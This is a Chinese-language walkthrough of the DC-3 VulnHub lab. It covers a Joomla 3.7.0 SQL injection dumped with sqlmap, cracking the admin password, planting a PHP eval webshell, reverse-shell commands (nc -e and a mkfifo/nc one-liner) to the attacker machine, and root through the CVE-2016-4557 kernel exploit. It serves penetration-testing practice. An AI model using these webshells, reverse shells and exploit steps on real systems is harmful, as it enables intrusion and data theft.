一、环境搭建:
1、靶场描述
DC-3是另一个专门建立的易受攻击的实验室,旨在获得渗透测试领域的经验。与之前的DC版本一样,这个版本是为初学者设计的,尽管这一次只有一个标志,一个入口点,根本没有线索。必须具备Linux技能并熟悉Linux命令行,还必须具有使用基本渗透测试工具的经验。对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说,这可能不会花你很长时间(事实上,它可能只需要不到20分钟)。如果是这种情况,如果你想让它更具挑战性,你可以重做挑战,探索其他获得根和获得旗帜的方法。
只有一个flag
2、下载靶场环境
靶场下载地址:
https://www.vulnhub.com/entry/dc-32,312/
二、渗透靶场
1、目标:
目标就是我们搭建的靶场,靶场IP为:192.168.66.0/24
2、信息收集:寻找靶机真实IP
所以分析可得靶机ip为192.168.26.132
本机ip为192.168.26.128
发现开放了80端口在虚拟机的上方找到自带的火狐浏览器输入 192.168.26.132 会出现在这个界面
意思就是这次DC-3实战只有一个目标获得root权限
然后回到终端利用JoomScan进行扫描获取后台地址
joomscan --url http://192.168.26.132
如果直接输入会提示我们安装
使用 apt install joomscan 来查看安装进度
安装成功后再次输入 joomscan --url http://192.168.26.132
知道了joomla cms版本为3.7.0
得到了网站后台地址http://192.168.26.132/administrator/
我们前面已经知道了CMS是joomla,并且知道了后台地址就可以直接输入代码
nikto --url http://192.168.26.132/
查找漏洞发现存在SQL注入
我们前面知道了CMS为joomla,版本为3.7.0
先使用 searchsploit 检查到有对应的漏洞
searchsploit joomla 3.7.0
我们发现有一个SQL注入,还存在一个XSS
我们再看一下这个漏洞的提示信息
searchsploit -m 42033.txt
再输入 cat 42033.txt
我们看到了POC,我们验证一下,把localhost修改为我们的靶机IP就ok
数据库语句错误,说明进行了拼接,存在SQL注入
sqlmap跑出数据
跑出所有数据库
sqlmap -u "http://192.168.26.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch
成功把数据库跑出来了
获取当前数据库的名字joomladb
sqlmap -u "http://192.168.26.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch
sqlmap -u "http://192.168.26.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch
获取joomladb的users表的字段名
sqlmap -u "http://192.168.26.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns
第一个选项,直接回车使用默认的“Y”
第二个选项,使用“y”,不要使用默认的,不然会出错
第三个选项随意
第四个选项使用10线程
最后跑出了6个字段
获取目标字段username和password
sqlmap -u "http://192.168.26.132/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch
最后成功拿到一个用户名和加密的密码
利用john爆破密码snoopy
使用john破解出admin密码,john the ripper是一款本地密码破解工具,可以从我们上面生成的shadow文件(密码散列)中破解出密码。破解时间取决于密码的复杂程度以及破解模式。
创建一个1.txt,把加密的密码字段写入
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' >1.txt
再输入cat 1.txt
使用john破解出admin密码是snoopy,输入John 1.txt
利用获取到的账号密码进行登录
再火狐浏览器中访问 http://192.168.26.132/administrator/
再分别输入账号 admin 密码 snoopy
登陆成功
发现有一个上传点
找到Beez3 Details and Files进入
这儿我们发现可以上传文件,考虑上传木马,也可以创建文件进行编辑
要上传木马,我们先要找到当前文件所在的目录:
http://192.168.26.132/templates/beez3/html/
回到刚才的页面点击new file
在html下创建一个php文件,名字叫做shell
创建成功之后,跳到编辑页面,然后我们输入php一句话,点击左上角绿色的save进行保存
<?php
echo ("密码是a");
@eval($_REQUEST [a]);
?>
然后再次访问 http://192.168.26.132/templates/beez3/html/
发现多了一个shell.php文件,我们访问一下
访问webshell,得到我们设置的会先内容,文件上传成功
http://192.168.26.132/templates/beez3/html/shell.php
然后打开蚁剑管理webshell
右键添加数据
然后点击测试连接,连接成功后点击添加
然后右建点击虚拟终端执行whaomi查询我权限,是www-data权限
反弹shell到kali,蚁剑看到的终端不如kali清晰,反弹一个shell到kali
1.kali监听
回到虚拟机终端输入 nc -lvvp 1234
再回到蚁剑输入 nc -e /bin/bash 192.168.26.128 1234 连接靶场
发现-e参数不可用
使用如下目录连接
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.26.128 1234 >/tmp/f
创建交互式shell经常用shell的都知道这个shell不好用,我们建立一个交互式shell
常用的就是python创建交互式shell python3 -c 'import pty; pty.spawn("/bin/bash")'
.使用辅助脚本发现提权漏洞
1.下载辅助脚本Linux-Exploit-Suggester.sh
下载地址:
https://github.com/mzet-/linux-exploit-suggester
2.上传辅助脚本
我们直接在蚁剑中上传
上传成功后输入 ls -l linux-exploit-suggester.sh 来测试漏洞
发现没有执行权限,我们只需要再加个执行文件
chmod +x linux-exploit-suggester.sh
执行脚本 ./linux-exploit-suggester.sh 发现很多可利用漏洞
使用辅助脚本提权
1.获取提权脚本上面发现了很多漏洞,这里我们挑一个进行提权
挑选的是 CVE-2016-4557
在图片里可以看到是一个39772的文件,由于给出的那个URL无法下载
也可以去searchsploit里面去看看
地址同样不能使用
可以使用下面地址直接下载
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/blob/main/bin-sploits/39772.zip
解压文件 unzip 39772.zip
输入 cd 33792 回车再输入 ls
继续输入 tar -xvf exploit.tar 和 cd ebpf_mapfd_doubleput_exploit
最后再输入 ./compile.sh 和 ./doubleput 执行完之后,提权成功
然后获得root权限
最后一步发现 the-flag.txt 输入 ls 和 cat the-flag.txt
就此本实验结束并圆满成功